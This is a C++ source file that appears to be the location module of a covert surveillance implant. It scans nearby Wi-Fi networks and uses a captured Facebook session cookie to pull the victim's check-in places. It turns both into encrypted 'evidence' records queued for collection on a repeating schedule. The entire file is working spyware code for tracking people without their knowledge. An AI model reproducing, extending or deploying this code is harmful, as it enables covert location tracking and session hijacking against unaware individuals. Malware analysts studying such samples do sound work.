Soldier/position.cpp
#include <Windows.h>
#include "globals.h"
#include "zmem.h"
#include "utils.h"
#include "conf.h"
#include "proto.h"
#include "position.h"
#include "debug.h"
#include "JSON.h"
#include "JSONValue.h"
#include "social.h"
#include "facebook.h"
#include "cookies.h"
#include "social.h"
POSITION_LOGS lpPositionLogs[MAX_POSITION_QUEUE];
/* wifi definition */
#define TYPE_LOCATION_WIFI 3
typedef struct _wifiloc_param_struct {
DWORD interval;
DWORD unused;
} wifiloc_param_struct;
typedef struct _location_additionalheader_struct {
#define LOCATION_HEADER_VERSION 2010082401
DWORD version;
DWORD type;
DWORD number_of_items;
} location_additionalheader_struct;
typedef struct _wifiloc_data_struct {
UCHAR MacAddress[6]; // BSSID
CHAR cPadd[2];
UINT uSsidLen; // SSID length
UCHAR Ssid[32]; // SSID
INT iRssi; // Received signal
} wifiloc_data_struct;
#include <wlanapi.h>
typedef DWORD (WINAPI *WlanOpenHandle_t) (DWORD, PVOID, PDWORD, PHANDLE);
typedef DWORD (WINAPI *WlanCloseHandle_t) (HANDLE, PVOID);
typedef DWORD (WINAPI *WlanEnumInterfaces_t) (HANDLE, PVOID, PWLAN_INTERFACE_INFO_LIST *);
typedef DWORD (WINAPI *WlanGetNetworkBssList_t) (HANDLE, const GUID *, const PDOT11_SSID, DOT11_BSS_TYPE, BOOL, PVOID, PWLAN_BSS_LIST *);
typedef DWORD (WINAPI *WlanFreeMemory_t) (PVOID);
WlanOpenHandle_t pWlanOpenHandle = NULL;
WlanCloseHandle_t pWlanCloseHandle = NULL;
WlanEnumInterfaces_t pWlanEnumInterfaces = NULL;
WlanGetNetworkBssList_t pWlanGetNetworkBssList = NULL;
WlanFreeMemory_t pWlanFreeMemory = NULL;
/* gps definition */
#define TYPE_LOCATION_GPS 1
#define GPS_MAX_SATELLITES 12
//
// GPS_VALID_XXX bit flags in GPS_POSITION structure are valid.
//
#define GPS_VALID_UTC_TIME 0x00000001
#define GPS_VALID_LATITUDE 0x00000002
#define GPS_VALID_LONGITUDE 0x00000004
#define GPS_VALID_SPEED 0x00000008
#define GPS_VALID_HEADING 0x00000010
#define GPS_VALID_MAGNETIC_VARIATION 0x00000020
#define GPS_VALID_ALTITUDE_WRT_SEA_LEVEL 0x00000040
#define GPS_VALID_ALTITUDE_WRT_ELLIPSOID 0x00000080
#define GPS_VALID_POSITION_DILUTION_OF_PRECISION 0x00000100
#define GPS_VALID_HORIZONTAL_DILUTION_OF_PRECISION 0x00000200
#define GPS_VALID_VERTICAL_DILUTION_OF_PRECISION 0x00000400
#define GPS_VALID_SATELLITE_COUNT 0x00000800
#define GPS_VALID_SATELLITES_USED_PRNS 0x00001000
#define GPS_VALID_SATELLITES_IN_VIEW 0x00002000
#define GPS_VALID_SATELLITES_IN_VIEW_PRNS 0x00004000
#define GPS_VALID_SATELLITES_IN_VIEW_ELEVATION 0x00008000
#define GPS_VALID_SATELLITES_IN_VIEW_AZIMUTH 0x00010000
#define GPS_VALID_SATELLITES_IN_VIEW_SIGNAL_TO_NOISE_RATIO 0x00020000
//
// GPS_DATA_FLAGS_XXX bit flags set in GPS_POSITION dwFlags field
// provide additional information about the state of the query.
//
// Set when GPS hardware is not connected to GPSID and we
// are returning cached data.
#define GPS_DATA_FLAGS_HARDWARE_OFF 0x00000001
typedef enum {
GPS_FIX_UNKNOWN = 0,
GPS_FIX_2D,
GPS_FIX_3D
}
GPS_FIX_TYPE;
typedef enum {
GPS_FIX_SELECTION_UNKNOWN = 0,
GPS_FIX_SELECTION_AUTO,
GPS_FIX_SELECTION_MANUAL
}
GPS_FIX_SELECTION;
typedef enum {
GPS_FIX_QUALITY_UNKNOWN = 0,
GPS_FIX_QUALITY_GPS,
GPS_FIX_QUALITY_DGPS
}
GPS_FIX_QUALITY;
typedef struct _GPS_POSITION {
DWORD dwVersion; // Current version of GPSID client is using.
DWORD dwSize; // sizeof(_GPS_POSITION)
// Not all fields in the structure below are guaranteed to be valid.
// Which fields are valid depend on GPS device being used, how stale the API allows
// the data to be, and current signal.
// Valid fields are specified in dwValidFields, based on GPS_VALID_XXX flags.
DWORD dwValidFields;
// Additional information about this location structure (GPS_DATA_FLAGS_XXX)
#define FACEBOOK_CHECK_IN 0x1
DWORD dwFlags;
//** Time related
SYSTEMTIME stUTCTime; // UTC according to GPS clock.
//** Position + heading related
double dblLatitude; // Degrees latitude. North is positive
double dblLongitude; // Degrees longitude. East is positive
float flSpeed; // Speed in knots
float flHeading; // Degrees heading (course made good). True North=0
double dblMagneticVariation; // Magnetic variation. East is positive
float flAltitudeWRTSeaLevel; // Altitute with regards to sea level, in meters
float flAltitudeWRTEllipsoid; // Altitude with regards to ellipsoid, in meters
////** Quality of this fix
GPS_FIX_QUALITY FixQuality; // Where did we get fix from?
GPS_FIX_TYPE FixType; // Is this 2d or 3d fix?
GPS_FIX_SELECTION SelectionType; // Auto or manual selection between 2d or 3d mode
float flPositionDilutionOfPrecision; // Position Dilution Of Precision
float flHorizontalDilutionOfPrecision; // Horizontal Dilution Of Precision
float flVerticalDilutionOfPrecision; // Vertical Dilution Of Precision
////** Satellite information -- name here
DWORD dwSatelliteCount; // Number of satellites used in solution
DWORD rgdwSatellitesUsedPRNs[GPS_MAX_SATELLITES]; // PRN numbers of satellites used in the solution
DWORD dwSatellitesInView; // Number of satellites in view. From 0-GPS_MAX_SATELLITES
DWORD rgdwSatellitesInViewPRNs[GPS_MAX_SATELLITES]; // PRN numbers of satellites in view
DWORD rgdwSatellitesInViewElevation[GPS_MAX_SATELLITES]; // Elevation of each satellite in view
DWORD rgdwSatellitesInViewAzimuth[GPS_MAX_SATELLITES]; // Azimuth of each satellite in view
DWORD rgdwSatellitesInViewSignalToNoiseRatio[GPS_MAX_SATELLITES]; // Signal to noise ratio of each satellite in view
} GPS_POSITION, *PGPS_POSITION;
typedef struct _gps_data_struct {
DWORD dwFail;
UINT uSize;
#define GPS_VERSION (UINT)2008121901
UINT uVersion;
FILETIME ft;
GPS_POSITION gps;
#define LOG_DELIMITER 0xABADC0DE
DWORD dwDelimiter;
} gps_data_struct;
/* methods */
BOOL ResolveWLANAPISymbols()
{
static HMODULE hwlanapi = NULL;
if (!hwlanapi)
hwlanapi = LoadLibrary(L"wlanapi.dll");
if (!hwlanapi)
return FALSE;
if (!pWlanOpenHandle)
pWlanOpenHandle = (WlanOpenHandle_t)GetProcAddress(hwlanapi, "WlanOpenHandle"); //FIXME: array
if (!pWlanCloseHandle)
pWlanCloseHandle = (WlanCloseHandle_t)GetProcAddress(hwlanapi, "WlanCloseHandle"); //FIXME: array
if (!pWlanEnumInterfaces)
pWlanEnumInterfaces = (WlanEnumInterfaces_t)GetProcAddress(hwlanapi, "WlanEnumInterfaces"); //FIXME: array
if (!pWlanGetNetworkBssList)
pWlanGetNetworkBssList = (WlanGetNetworkBssList_t)GetProcAddress(hwlanapi, "WlanGetNetworkBssList"); //FIXME: array
if (!pWlanFreeMemory)
pWlanFreeMemory = (WlanFreeMemory_t)GetProcAddress(hwlanapi, "WlanFreeMemory"); //FIXME: array
if (pWlanOpenHandle && pWlanCloseHandle && pWlanEnumInterfaces && pWlanGetNetworkBssList && pWlanFreeMemory)
return TRUE;
return FALSE;
}
BOOL EnumWifiNetworks(location_additionalheader_struct *wifiloc_additionaheader, BYTE **body, DWORD *blen)
{
HANDLE hClient = NULL;
DWORD dwMaxClient = 2;
DWORD dwCurVersion = 0;
DWORD i, j;
wifiloc_data_struct *wifiloc_data;
PWLAN_INTERFACE_INFO_LIST pIfList = NULL;
PWLAN_INTERFACE_INFO pIfInfo = NULL;
PWLAN_BSS_LIST pBssList = NULL;
PWLAN_BSS_ENTRY pBss = NULL;
*body = NULL;
*blen = 0;
wifiloc_additionaheader->version = LOCATION_HEADER_VERSION;
wifiloc_additionaheader->type = TYPE_LOCATION_WIFI;
wifiloc_additionaheader->number_of_items = 0;
if (!ResolveWLANAPISymbols())
return FALSE;
if (pWlanOpenHandle(dwMaxClient, NULL, &dwCurVersion, &hClient) != ERROR_SUCCESS)
return FALSE;
if (pWlanEnumInterfaces(hClient, NULL, &pIfList) != ERROR_SUCCESS) {
pWlanCloseHandle(hClient, NULL);
return FALSE;
}
// Enumera le interfacce wifi disponibili
for (i=0; i<pIfList->dwNumberOfItems; i++)
{
pIfInfo = (WLAN_INTERFACE_INFO *) &pIfList->InterfaceInfo[i];
if (pWlanGetNetworkBssList(hClient, &pIfInfo->InterfaceGuid, NULL, dot11_BSS_type_infrastructure, FALSE, NULL, &pBssList) == ERROR_SUCCESS)
{
// Ha trovato un interfaccia valida ed enumera le reti wifi
// alloca l'array di strutture di ritorno
if (!(*body = (LPBYTE)calloc(pBssList->dwNumberOfItems, sizeof(wifiloc_data_struct))))
break;
*blen = pBssList->dwNumberOfItems * sizeof(wifiloc_data_struct);
wifiloc_additionaheader->number_of_items = pBssList->dwNumberOfItems;
wifiloc_data = (wifiloc_data_struct *)*body;
// Valorizza con i ssid
PWLAN_BSS_ENTRY pBss = pBssList->wlanBssEntries;
for (j=0; j<pBssList->dwNumberOfItems; j++)
{
memcpy(wifiloc_data[j].MacAddress, pBss->dot11Bssid, 6);
wifiloc_data[j].uSsidLen = pBss->dot11Ssid.uSSIDLength;
if (wifiloc_data[j].uSsidLen>32)
wifiloc_data[j].uSsidLen = 32; // limite massimo del SSID
memcpy(wifiloc_data[j].Ssid, pBss->dot11Ssid.ucSSID, wifiloc_data[j].uSsidLen);
wifiloc_data[j].iRssi = pBss->lRssi;
pBss = (PWLAN_BSS_ENTRY)(((PBYTE)pBss) + 0x168); // FIXME
}
break;
}
}
if (pBssList != NULL)
pWlanFreeMemory(pBssList);
if (pIfList != NULL)
pWlanFreeMemory(pIfList);
pWlanCloseHandle(hClient, NULL);
return TRUE;
}
/*
Description: given a json object containing Facebook places, extracts and packs data into additionalheader and body
Parameters: json object, pointer to additionalheader, body that will contain the payload, pointer to size of body, Facebook user id
Usage: return true there're data to log, false otherwise. Body is allocated and must be freed by the caller
*/
BOOL FacebookPlacesExtractPosition(__in JSONValue *jValue, __out location_additionalheader_struct *additionalheader, __out BYTE **body, __out DWORD *blen, __in LPSTR strUserId )
{
*body = NULL;
*blen = 0;
additionalheader->version = LOCATION_HEADER_VERSION;
additionalheader->type = TYPE_LOCATION_GPS;
additionalheader->number_of_items = 0;
/* get last place timestamp */
DWORD dwHighestBatchTimestamp = 0;
CHAR strUsernameForPlaces[512];
_snprintf_s(strUsernameForPlaces, sizeof(strUsernameForPlaces), _TRUNCATE, "%s-facebookplaces", strUserId);
DWORD dwLastTimestampLow, dwLastTimestampHigh;
dwLastTimestampLow = SocialGetLastTimestamp(strUsernameForPlaces, &dwLastTimestampHigh);
if (dwLastTimestampLow == SOCIAL_INVALID_MESSAGE_ID)
return FALSE;
/* get the number of locations */
JSONObject jRoot = jValue->AsObject();
if (jRoot.find(L"jsmods") != jRoot.end() && jRoot[L"jsmods"]->IsObject())
{
JSONObject jJsmods = jRoot[L"jsmods"]->AsObject();
if (jJsmods.find(L"require") != jJsmods.end() && jJsmods[L"require"]->IsArray())
{
JSONArray jRequire = jJsmods[L"require"]->AsArray();
if ( jRequire.size() > 0 && jRequire.at(0)->IsArray())
{
JSONArray jTmp = jRequire.at(0)->AsArray();
if (jTmp.size() > 3 && jTmp.at(3)->IsArray())
{
JSONArray jTmp2 = jTmp.at(3)->AsArray();
if (jTmp2.size() > 1 && jTmp2.at(1)->IsObject())
{
JSONObject jObj = jTmp2.at(1)->AsObject();
/* jObj contains:
"stories":[ array with timestamps ],
"places":[ array with places ],
"count":4, // number of different places
"_instanceid":"u_0_44"
*/
if ((jObj[L"places"]->IsArray() && jObj[L"places"]->IsArray()) && (jObj[L"stories"]->IsArray() && jObj[L"stories"]->IsArray()))
{
JSONArray jPlaces = jObj[L"places"]->AsArray();
JSONArray jStories = jObj[L"stories"]->AsArray();
/* stories element example: {"timestamp":1418910342, .. ,"placeID":133355006713850, .. }
places element example: {"id":133355006713850, "name":"Isle of Skye, Scotland, UK","latitude":57.41219383264, "longitude":-6.1920373066084,"city":814578, "country":"GB" }
*/
/* loop through stories, for each story find the corresponding place and set the gps record (suboptimal..) */
for (DWORD i=0; i<jStories.size(); i++)
{
if (!jStories.at(i)->IsObject())
continue;
UINT64 current_id;
time_t time = 0;
/* extract story id and timestamp */
JSONObject jStory = jStories.at(i)->AsObject();
if (jStory.find(L"placeID") != jStory.end() && jStory[L"placeID"]->IsNumber())
{
current_id = (UINT64) jStory[L"placeID"]->AsNumber();
}
if (jStory.find(L"timestamp") != jStory.end() && jStory[L"timestamp"]->IsNumber())
{
time = (time_t) jStory[L"timestamp"]->AsNumber();
}
/* save the most recent timestamp for this batch */
if (time > dwHighestBatchTimestamp)
dwHighestBatchTimestamp = time;
/* if it's recent save it otherwise skip this record */
if (time <= dwLastTimestampLow)
continue;
/* find place id in places: suboptimal version loop through each time */
for (DWORD j=0; j<jPlaces.size(); j++)
{
if (!jPlaces.at(j)->IsObject())
continue;
UINT64 tmp_id;
JSONObject jPlace = jPlaces.at(j)->AsObject();
if (jPlace.find(L"id") != jPlace.end() && jPlace[L"id"]->IsNumber())
{
tmp_id = (UINT64) jPlace[L"id"]->AsNumber();
if (tmp_id == current_id)
{
/* got our guy, fill a gps position record */
#ifdef _DEBUG
OutputDebug(L"[*] Got %I64u\n", tmp_id);
OutputDebug( L"Time in seconds since UTC 1/1/70:\t%ld\n", time );
#endif
/* update additional header, body size */
additionalheader->number_of_items += 1;
DWORD dwBodySize = additionalheader->number_of_items * sizeof(gps_data_struct);
*body = (LPBYTE) realloc(*body, dwBodySize);
if (!*body)
return FALSE;
*blen = _msize(*body);
gps_data_struct *record = (gps_data_struct*)( *body + ( dwBodySize - sizeof(gps_data_struct) ));
SecureZeroMemory(record, sizeof(gps_data_struct));
/* fill GPS_POSITION */
record->gps.dwVersion = 1 ;// dunno
record->gps.dwSize = sizeof(GPS_POSITION);
record->gps.dwValidFields = GPS_VALID_UTC_TIME | GPS_VALID_LATITUDE | GPS_VALID_LONGITUDE;
record->gps.dwFlags = FACEBOOK_CHECK_IN;
//UnixTimeToSystemTime(time, &record->gps.stUTCTime); ignore by backend
if (jPlace.find(L"latitude") != jPlace.end() && jPlace[L"latitude"]->IsNumber())
{
record->gps.dblLatitude = jPlace[L"latitude"]->AsNumber();
}
if (jPlace.find(L"longitude") != jPlace.end() && jPlace[L"longitude"]->IsNumber())
{
record->gps.dblLongitude = jPlace[L"longitude"]->AsNumber();
}
if (jPlace.find(L"name") != jPlace.end() && jPlace[L"name"]->IsString())
{
/* name is written over the fields starting with dwSatelliteCount: 62 dwords - 1 dword for null */
//size_t maxNameSize = 62 * sizeof(DWORD);
size_t maxNameSize = sizeof(GPS_POSITION) - FIELD_OFFSET(GPS_POSITION, dwSatelliteCount) - 1;
LPWSTR name = (LPWSTR) zalloc_s(maxNameSize);
_snwprintf_s(name, maxNameSize/2, _TRUNCATE, L"%s", jPlace[L"name"]->AsString().c_str() );
memcpy_s(&record->gps.dwSatelliteCount, maxNameSize, name, lstrlen(name) * 2 + 2);
record->gps.rgdwSatellitesInViewSignalToNoiseRatio[GPS_MAX_SATELLITES-1] = 0;
zfree_s(name);
}
/* fill remaining field of gps_data_struct */
record->uSize = sizeof(gps_data_struct);
record->uVersion = GPS_VERSION;
//GetSystemTimeAsFileTime(&record->ft);
UnixTimeToFileTime(time, &record->ft);
record->gps.flHorizontalDilutionOfPrecision = 100; // needed for intelligence
record->dwDelimiter = LOG_DELIMITER;
break;
} //if (tmp_id == current_id)
} //if (jPlace.find(L"id") != jPlace.end() && jPlace[L"id"]->IsNumber())
} //for (DWORD j=0; j<jPlaces.size(); j++)
} //for (DWORD i=0; i<jStories.size(); i++)
/* save the highest timestamp in the batch */
if (dwHighestBatchTimestamp > dwLastTimestampLow)
SocialSetLastTimestamp(strUsernameForPlaces, dwHighestBatchTimestamp, 0);
} //if ((jObj[L"places"]->IsArray() && jObj[L"places"]->IsArray())
} //if (jTmp2.size() > 1 && jTmp2.at(1)->IsObject())
}
}
}
}
/* true if *body is not null, otherwise false */
return *body != NULL;
}
BOOL QueuePositionLog(__in LPBYTE lpEvBuff, __in DWORD dwEvSize)
{
for (DWORD i=0; i<MAX_POSITION_QUEUE; i++)
{
if (lpPositionLogs[i].dwSize == 0 || lpPositionLogs[i].lpBuffer == NULL)
{
lpPositionLogs[i].dwSize = dwEvSize;
lpPositionLogs[i].lpBuffer = lpEvBuff;
return TRUE;
}
}
return FALSE;
}
/*
Description: extracts and logs Facebook checkin locations
Params: valid Facebook cookie
Usage: -
*/
DWORD FacebookPositionHandler(LPSTR strCookie)
{
LPSTR strUserId, strScreenName;
LPSTR strParser1, strParser2;
if (!ConfIsModuleEnabled(L"position"))
return SOCIAL_REQUEST_SUCCESS;
if (!FacebookGetUserInfo(strCookie, &strUserId, &strScreenName))
return SOCIAL_REQUEST_BAD_COOKIE;
zfree_s(strScreenName);
LPWSTR strUrl = (LPWSTR) zalloc(2048*sizeof(WCHAR));
_snwprintf_s(strUrl, 2048, _TRUNCATE, L"/profile.php?id=%S&sk=map", strUserId);
LPSTR strRecvBuffer = NULL;
DWORD dwBuffSize;
DWORD dwRet = HttpSocialRequest(L"www.facebook.com", L"GET", strUrl, 443, NULL, 0, (LPBYTE *)&strRecvBuffer, &dwBuffSize, strCookie);
zfree_s(strUrl);
if (dwRet != SOCIAL_REQUEST_SUCCESS)
{
zfree(strRecvBuffer);
zfree(strUserId);
return SOCIAL_REQUEST_BAD_COOKIE;
}
/* find the snippet of json we're interested in and give it to the parser */
strParser1 = strstr(strRecvBuffer, "{\"display_dependency\":[\"pagelet_timeline_medley_inner_map\"]");
if (!strParser1)
{
/* cleanup */
zfree_s(strRecvBuffer);
zfree_s(strUserId);
return SOCIAL_REQUEST_BAD_COOKIE;
}
strParser2 = strstr(strParser1, "})");
*(strParser2+1) = NULL;
#ifdef _DEBUG
OutputDebug(L"[*] %S - position json: %S\n", __FUNCTION__, strParser1);
#endif
LPSTR strJson = strParser1;
JSONValue *jValue = JSON::Parse(strJson);
if (jValue != NULL && jValue->IsObject())
{
DWORD dwSize;
LPBYTE lpBody;
location_additionalheader_struct additionaheader;
if ( FacebookPlacesExtractPosition(jValue, &additionaheader, &lpBody, &dwSize, strUserId) )
{
DWORD dwEvSize;
LPBYTE lpEvBuffer = PackEncryptEvidence(dwSize, lpBody, PM_LOCATION, (LPBYTE) &additionaheader, sizeof(additionaheader), &dwEvSize);
zfree_s(lpBody);
if (!QueuePositionLog(lpEvBuffer, dwEvSize))
zfree_s(lpEvBuffer);
}
}
/* cleanup */
zfree_s(strRecvBuffer);
zfree_s(strUserId);
if (jValue)
delete jValue;
return SOCIAL_REQUEST_SUCCESS;
}
VOID PositionMain()
{
while (1)
{
if (bPositionThread == FALSE)
{
#ifdef _DEBUG
OutputDebug(L"[*] PositionMain exiting\n");
#endif
hPositionThread = NULL;
return;
}
if (bCollectEvidences)
{
/* 1] wifi */
DWORD dwSize;
LPBYTE lpBody;
location_additionalheader_struct wifi;
if(EnumWifiNetworks(&wifi, &lpBody, &dwSize))
{
DWORD dwEvSize;
LPBYTE lpEvBuffer = PackEncryptEvidence(dwSize, lpBody, PM_LOCATION, (LPBYTE)&wifi, sizeof(wifi), &dwEvSize);
zfree(lpBody);
if (!QueuePositionLog(lpEvBuffer, dwEvSize))
zfree(lpEvBuffer);
}
/* 2] facebook places
scheduled in social.cpp
*/
}
MySleep(ConfGetRepeat(L"position")); //FIXME: array
}
}